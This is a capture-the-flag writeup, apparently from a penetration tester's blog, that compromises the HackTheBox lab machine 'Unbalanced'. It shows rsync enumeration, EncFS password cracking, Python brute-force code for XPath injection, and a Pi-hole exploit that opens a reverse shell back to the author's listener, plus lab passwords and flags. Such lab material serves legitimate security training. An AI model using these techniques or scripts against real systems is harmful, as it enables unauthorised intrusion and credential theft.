Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

[machine avatar]

HackTheBox Unbalanced - Writeup

OS: Linux
Release Date: 2020/08/01 19:00
Points: 40
Difficulty: Medium
Last modified: 2022-08-20 20:24:47 + Give Respect

The nmap scan shows an open ssh port, and two other services running: rsync and squid proxy.
$ nmap -sS -p- -T4 10.10.10.200
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
| 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp open rsync (protocol version 31)
3128/tcp open http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Beginning with the rsync port, we find this article explaining the enumeration and exploitation of this service. Unfortunately, the nmap script rsync-list-modules did not give more information than the nmap scan, we issued before. But we can connect via nc and try to find out something manually. After we connect, we need to wait for the server to send it's rsync banner. After that, we send the banner back and can issue some commands:
$ nc -vvv 10.10.10.200 873
unbalanced [10.10.10.200] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
#list
conf_backups EncFS-encrypted configuration backups
@RSYNCD: EXIT
Total received bytes: 82
Total sent bytes: 20

Next we can download the rsync directory using its command:

$ mkdir conf_backups && rsync -av rsync://10.10.10.200/conf_backups ./conf_backups
receiving incremental file list
./
,CBjPJW4EGlcqwZW4nmVqBA6
-FjZ6-6,Fa,tMvlDsuVAO7ek
.encfs6.xml
(...)
waEzfb8hYE47wHeslfs1MvYdVxqTtQ8XGshJssXMmvOsZLhtJWWRX31cBfhdVygrCV5
sent 1,452 bytes received 411,990 bytes 35,951.48 bytes/sec
total size is 405,603 speedup is 0.98
We got an encrypted rsync drive. Luckily, the .encfs6.xml file is included, it contains the hashed key used for encryption/decryption. We can crack this key using john:
$ encfs2john conf_backups/ > hash && john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=EncFS
Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 128/128 XOP 4x2 AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bubblegum (conf_backups/)
1g 0:00:00:46 DONE (2020-08-08 12:25) 0.02158g/s 51.12p/s 51.12c/s 51.12C/s chacha..delfin
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Using the cracked password, we can now decrypt the encfs folder, which reveals a lot of configuration files. Note, the encfs command requires absolute paths here.
$ mkdir conf_backups_decrypted
$ encfs $(pwd)/conf_backups/ $(pwd)/conf_backups_decrypted
EncFS-Password: bubblegum
$ ls -al conf_backups | wc -l
77
The only relevant config file seems to be the squid.conf file. It contains many line comments, so filtering them gives us the following lines:
$ grep "^[^#;]" conf_backups_decrypted/squid.conf
acl localnet src 0.0.0.1-0.255.255.255 # RFC 1122 "this" network (LAN)
(...)
acl Safe_ports port 777 # multiling http
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow manager
include /etc/squid/conf.d/*
http_access allow localhost
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern . 0 20% 4320
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
cache disable
First of all, cachemgr_passwd is set with a password and a list of commands, which we are allowed to use. Secondly, the http_access and acl directives tell us, where we are allowed to connect to. That's the domain intranet.unbalanced.htb and the local subnet 172.16.0.0/12. We will focus on the cache first using squidclient, because it might contain sensitive information. The squidclient is often included in the squid package in your distribution.
$ squidclient -U squid -W 'Thah$Sh1' -h 10.10.10.200 cache_object://10.10.10.200/fqdncache
FQDN Cache Statistics:
FQDNcache Entries In Use: 11
FQDNcache Entries Cached: 8
FQDNcache Requests: 22
FQDNcache Hits: 0
FQDNcache Negative Hits: 6
FQDNcache Misses: 16
FQDN Cache Contents:

Address Flg TTL Cnt Hostnames
127.0.1.1 H -001 2 unbalanced.htb unbalanced
::1 H -001 3 localhost ip6-localhost ip6-loopback
172.31.179.2 H -001 1 intranet-host2.unbalanced.htb
172.31.179.3 H -001 1 intranet-host3.unbalanced.htb
127.0.0.1 H -001 1 localhost
172.17.0.1 H -001 1 intranet.unbalanced.htb
ff02::1 H -001 1 ip6-allnodes
ff02::2 H -001 1 ip6-allrouters
We got a bunch of new domains, and we directly see, that one domain is missing: intranet-host1.unbalanced.htb. The IP-Address is probably 172.31.179.1, so we will try to connect to it:
$ curl --proxy http://10.10.10.200:3128 http://172.31.179.1
Host temporarily taken out of load balancing for security maintenance.
Hmm... this seems like a custom message, the host seems to have some security issues. Let's find them using gobuster!
$ gobuster dir -u http://172.31.179.1 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -b 403,404 -x php -p http://10.10.10.200:3128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://172.31.179.1
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 403,404
[+] Proxy: http://10.10.10.200:3128
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/08/08 12:52:24 Starting gobuster
===============================================================
/css (Status: 301)
/index.php (Status: 200)
/intranet.php (Status: 200)
(...)
===============================================================
2020/08/08 12:55:02 Finished
===============================================================
Configuring our browser to connect through the proxy on http://10.10.10.200:3128 we try to access /intranet.php, and indeed, a login page shows up. Doing some basic injection test, we also find out, that ' or '1'='1 as password will give us a list of users, so the login form is injectable in some kind. sqlmap somehow doesn't find any vulnerable parameter, so it must be something different. After some research and trying out different payloads, we find out, that XPath has a similar syntax. An example query and exploitation is given on PayloadsAllTheThings, so the query being executed on the server might look like this:
//Employee[Username/text()=' + USERNAME + ' and Password/text()=' + PASSWORD + ']
Using ' or '1'='1 as password, we get some usernames and their roles including the System Administrator bryan. It looks like, this user is worth to find credentials for. First, we want to know, what the length of his password is. We can use the following python code to bruteforce the password length:
def findPasswordLength(username):
    passwordLen = 1
    while True:
        res = login(username, "' or string-length(Password)=%d and Username='%s" % (passwordLen, username))
        if res.status_code != 200:
            print(res, res.text)
            exit(1)

        if "Invalid credentials." not in res.text:
            break
        passwordLen += 1

    return passwordLen

Next we bruteforce the password char-by-char:

def bruteforcePassword(username, passwordLen):
    password = ""
    for i in range(passwordLen):
        found = False
        for x in string.printable:
            if x == '\'' or x == '\\' or x.isspace():
                continue

            res = login(username, "' or substring(Password,%d,1)='%s' and Username='%s" % (i+1,x,username))
            if res.status_code != 200:
                print(res, res.text)
                exit(1)

            if "Invalid credentials." not in res.text:
                found = True
                password += x
                print("Password: '%s%s'" % (password, "." * (passwordLen-i-1)))
                break

        if not found:
            print("[-] Password not found")
            exit(1)

    return password

After we executed the script, the password is printed on the console, and we can log in with user bryan on the SSH port. The user flag is right in bryan's home directory:

$ ssh bryan@10.10.10.200
bryan@10.10.10.200's password: ireallyl0vebubblegum!!!
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
(...)
bryan@unbalanced:~$ cat user.txt
03d486cad347fe31622aee84f3c0c340

Bryan's home directory also includes a note which points to the way to root:

bryan@unbalanced:~$ cat TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]
So the next steps are probably connected to pihole. The local bound ports show up two ports: 8080 and 5553. A curl request confirms, that port 8080 is running the pi hole admin interface:
bryan@unbalanced:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 5 0.0.0.0:873 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.1:5553 0.0.0.0:*
LISTEN 0 32 0.0.0.0:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 [::]:873 [::]:*
LISTEN 0 32 [::]:53 [::]:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:3128 *:*
bryan@unbalanced:~$ curl http://127.0.0.1:8080
[ERROR]: Unable to parse results from <i>queryads.php</i>: <code>Unhandled error message (<code>Invalid domain!</code>)</code>
bryan@unbalanced:~$ curl http://127.0.0.1:8080 -H "Host: pi.hole" -v
(...)
< HTTP/1.1 302 Found
< Location: /admin
< Content-type: text/html; charset=UTF-8
< Content-Length: 0
< Date: Thu, 13 Aug 2020 11:12:07 GMT
< Server: lighttpd/1.4.45
<
* Connection #0 to host 127.0.0.1 left intact
For further analysis, we will forward the port via ssh tunnel and add the pi.hole host:
$ echo "127.0.0.1 pi.hole" >> /etc/hosts && ssh -N -L 80:127.0.0.1:8080 bryan@10.10.10.200
Now we can visit the admin panel via http://pi.hole. As the note in the TODO file says, the pi-hole has a temporary admin password, so we are able to log in with password admin. The footer on the web interface gives us the version being used: Pi-hole Version v4.3.2 Web Interface Version v4.3 FTL Version v4.3.1. Looking up this version we find a bunch of exploit scripts on exploit-db.com. I've used this script, because it also gave root permissions on the docker container, where pi-hole is running on:
$ python exploit.py pi.hole 10.10.16.189 admin
[+] Vulnerable URL is http://pi.hole/admin
[+] Creation success, ID is 6!
[!] Binding to 10.10.16.189:80
[+] Yes, we have an incoming connection from 10.10.10.200
[!] Closing Listener
[+] Update succeeded.
[+] This system is vulnerable!
Want to continue with exploitation? (Or just run cleanup)? [y/N]: y
Want root access? (Breaks the application!!) [y/N]: y
[!] Allright, going for the root shell
[!] Binding to 10.10.16.189:80
[+] Yes, we have an incoming connection from 10.10.10.200
[!] Closing Listener
[+] Update succeeded.
[+] Creation success, ID is 7!
[!] Binding to 10.10.16.189:80
[+] Yes, we have an incoming connection from 10.10.10.200
[!] Closing Listener
[+] Update succeeded.
Ok, make sure to have a netcat listener on "10.10.16.189:4444" ("nc -lnvp 4444") and press enter to continue...
[!] Binding to 10.10.16.189:80
[+] Yes, we have an incoming connection from 10.10.10.200
[!] Closing Listener
[+] Update succeeded.
[+] Calling http://pi.hole/admin/scripts/pi-hole/php/fhayaimd.php
[+] Cleaning up now.
[+] Remove success
[+] Cleaning up now.
[+] Remove success
$ nc -lvvp 4444
Listening on any address 4444 (krb524)
Connection from 10.10.10.200:44680
bash: cannot set terminal process group (526): Inappropriate ioctl for device
bash: no job control in this shell
root@pihole:/var/www/html/admin/scripts/pi-hole/php#

After the exploit succeeded, we can retrieve another password from the root pi-hole configuration:

root@pihole:/var/www/html/admin/scripts/pi-hole/php$ cat /root/pihole_config.sh
#!/bin/bash
# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb

Using this password, we can elevate our privileges on the main host to root and grab the root flag:

bryan@unbalanced:~$ su
Password: bUbBl3gUm$43v3Ry0n3!
root@unbalanced:/home/bryan$ cat /root/root.txt
aeb456bddb474f00ea102d95f4786969